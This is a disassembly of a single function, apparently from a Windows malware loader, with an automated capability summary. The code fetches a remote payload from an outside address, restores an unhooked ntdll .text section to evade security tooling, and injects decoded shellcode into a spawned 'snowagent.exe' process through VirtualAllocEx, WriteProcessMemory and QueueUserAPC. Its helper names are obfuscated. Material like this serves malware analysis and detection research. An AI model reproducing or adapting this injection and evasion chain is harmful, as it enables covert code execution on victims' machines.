Function at 0x14000a9c0
Capabilities:
Create process on windows
Inject apc
Resolve function by parsing pe exports
Resume thread
Schedule task via at
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x138
xor ebp, ebp
call dbg.__main
lea rdi, [rsp + 0xc8]
mov qword [rsp + 0x80], rbp
lea r14, [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor eax, eax
movss xmm0, dword [0x14000c320]
mov ecx, 0x1a
rep stosd dword [rdi], eax
lea rdi, [rsp + 0xb0]
mov ecx, 6
lea rbx, [rsp + 0xb0]
rep stosd dword [rdi], eax
call sym._ZL182muted_Hutchinsons_traditionalist_yesteryear_camisoles_whale_Lagoss_insane_numbers_remissions_trotting_Seneca_quintuplet_
lea rcx, str.http:__1.1.1.1:1334_this_is_bait.txt
lea rdx, [rsp + 0x78]
lea r8, [rsp + 0x80]
call sym._Z195rendering_amendments_Gelbvieh_Mozambicans_cauterize_canaries_kludged_strait_loudmouthed_reactivate_waterbeds_unreasonable
lea rcx, str.____militarisms_gamines_Hilton_dogies_inviolability_Gail_elaboratenesss_affects_Brueghels_plunked_minutes_kinematic_tenderized_funner_portions_complemented_idleness_blearier_encased_scrawnier_Failed_n
test eax, eax
je 0x14000aa98
xor esi, esi
xor edi, edi
lea rax, str.C:WindowsSystem32_
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x48], rbx
mov r13, qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rsp + 0x40], r14
lea rdx, [0x14000b018]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], edi
call r13
test eax, eax
jne 0x14000aaa7
lea rcx, str.____Error:_Could_not_call_CreateProcess_n
call sym.printf_char_const__::_
mov eax, 1
jmp 0x14000ae24
lea r15, str.ntdll.dll
mov rdi, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, r15
call rdi
xor r11d, r11d
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, rax
movsxd rax, dword [rax + 0x3c]
mov qword [rsp + 0x88], r11
mov r12d, dword [rsi + rax + 0x50]
mov qword [rsp + 0x90], r12
call rbp
mov dword [rsp + 0x28], 4
xor r8d, r8d
lea rdx, [rsp + 0x88]
mov dword [rsp + 0x20], 0x3000
mov rcx, rax
lea r9, [rsp + 0x90]
call sym.NtAllocateVirtualMemory
lea rcx, str.____Error:_Memory_allocation_failed__NTStatus:__lx__n
mov edx, eax
test eax, eax
js 0x14000ad6c
movss xmm0, dword [0x14000c320]
call sym._ZL182muted_Hutchinsons_traditionalist_yesteryear_camisoles_whale_Lagoss_insane_numbers_remissions_trotting_Seneca_quintuplet_
xor r10d, r10d
mov r9, r12
mov rdx, rsi
lea rax, [rsp + 0x98]
mov qword [rsp + 0x98], r10
mov r8, qword [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000ab73
mov rcx, qword [rsp + 0xb0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
movss xmm0, dword [0x14000c324]
call sym._ZL182muted_Hutchinsons_traditionalist_yesteryear_camisoles_whale_Lagoss_insane_numbers_remissions_trotting_Seneca_quintuplet_
mov rcx, qword [rsp + 0xb8]
mov r12, qword [sym.imp.KERNEL32.dll_ResumeThread]
call r12
mov rsi, qword [rsp + 0x88]
mov rcx, r15
xor r15d, r15d
call rdi
xor r9d, r9d
movsxd r8, dword [rsi + 0x3c]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x74], r9d
add r8, rsi
lea r10, [r8 + 0x18]
movzx eax, word [r8 + 6]
cmp eax, r15d
jle 0x14000ace2
imul rax, r15, 0x28
movzx edi, word [r8 + 0x14]
mov qword [rsp + 0x60], r8
inc r15
movss xmm0, dword [0x14000c320]
mov qword [rsp + 0x58], r10
add rdi, r10
add rdi, rax
call sym._ZL182muted_Hutchinsons_traditionalist_yesteryear_camisoles_whale_Lagoss_insane_numbers_remissions_trotting_Seneca_quintuplet_
lea rdx, str..text
mov rcx, rdi
call sym.strcmp
mov r10, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
test eax, eax
jne 0x14000abba
mov eax, dword [rdi + 8]
mov rdx, qword [rsp + 0x50]
lea r15, [rsp + 0x74]
mov r10, qword [0x140010048]
mov qword [rsp + 0xa0], rax
mov eax, dword [rdi + 0xc]
mov qword [rsp + 0x68], r10
add rax, rdx
mov qword [rsp + 0xa8], rax
call rbp
mov qword [rsp + 0x20], r15
mov r10, qword [rsp + 0x68]
mov r9d, 0x40
mov rcx, rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0xa8]
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
mov rdx, rax
call r10
test eax, eax
js 0x14000ace2
mov edx, dword [rdi + 8]
mov rcx, rsi
mov dword [rsp + 0x68], edx
call sym._Z174semiautomatic_Morrisons_concubines_rhetorician_bludgeon_hymnals_Ga_buccaneered_Toledo_wounds_fleeting_Randall_Kampuchea_S
mov edx, dword [rsp + 0x68]
mov rcx, rsi
mov edi, eax
call sym._Z183Kelvins_sleepwalker_prostitutes_sightless_Kelley_brittles_Rabelaisians_Cantor_Maigrets_violators_arraigns_moreover_citing
mov ecx, eax
test edi, edi
je 0x14000acb6
cmp edi, eax
jae 0x14000acb6
mov rax, qword [rsp + 0x50]
mov edx, edi
sub ecx, edi
add rsi, rdx
add rax, rdx
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov r9d, dword [rsp + 0x74]
mov rsi, qword [0x140010048]
mov dword [rsp + 0x50], r9d
call rbp
mov qword [rsp + 0x20], r15
mov r9d, dword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rcx, rax
call rsi
movss xmm0, dword [0x14000c328]
lea rsi, str.snowagent.exe
call sym._ZL182muted_Hutchinsons_traditionalist_yesteryear_camisoles_whale_Lagoss_insane_numbers_remissions_trotting_Seneca_quintuplet_
mov rcx, rsi
call sym._Z176minims_hails_Vs_naturalisms_argots_Cozumel_streptomycin_seeds_puppet_emended_agriculturalists_Mohammedans_forefinger_deli
xor eax, eax
mov ecx, 0x19
xor r8d, r8d
lea rdx, [rsp + 0xcc]
xor r9d, r9d
mov dword [rsp + 0xc8], 0x68
mov rdi, rdx
xor edx, edx
rep stosd dword [rdi], eax
mov ecx, 6
mov rdi, rbx
rep stosd dword [rdi], eax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
mov rdx, rsi
mov dword [rsp + 0x20], r8d
xor r8d, r8d
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x28], 0x14
call r13
test eax, eax
jne 0x14000ad76
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateProcess_failed___lu__n
mov edx, eax
call sym.printf_char_const__::_
jmp 0x14000aa9d
mov rsi, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x78]
mov r9d, 0x10
lea r8, [0x14000b0c0]
mov edx, esi
mov rcx, rdi
call sym._Z169luggage_blot_harridans_ecru_Evelyn_advancing_gardens_palindromes_squawks_mynas_diapered_blubbers_Inuktitut_varsities_Malt
mov r9d, 0x1000
mov r8, rsi
xor edx, edx
mov rcx, qword [rsp + 0xb0]
mov dword [rsp + 0x20], 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
movss xmm0, dword [0x14000c324]
mov rbx, rax
call sym._ZL182muted_Hutchinsons_traditionalist_yesteryear_camisoles_whale_Lagoss_insane_numbers_remissions_trotting_Seneca_quintuplet_
xor eax, eax
mov r9, rsi
mov r8, rdi
mov rcx, qword [rsp + 0xb0]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movss xmm0, dword [0x14000c324]
call sym._ZL182muted_Hutchinsons_traditionalist_yesteryear_camisoles_whale_Lagoss_insane_numbers_remissions_trotting_Seneca_quintuplet_
mov rdx, qword [rsp + 0xb8]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
movss xmm0, dword [0x14000c324]
call sym._ZL182muted_Hutchinsons_traditionalist_yesteryear_camisoles_whale_Lagoss_insane_numbers_remissions_trotting_Seneca_quintuplet_
mov rcx, qword [rsp + 0xb8]
call r12
xor eax, eax
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret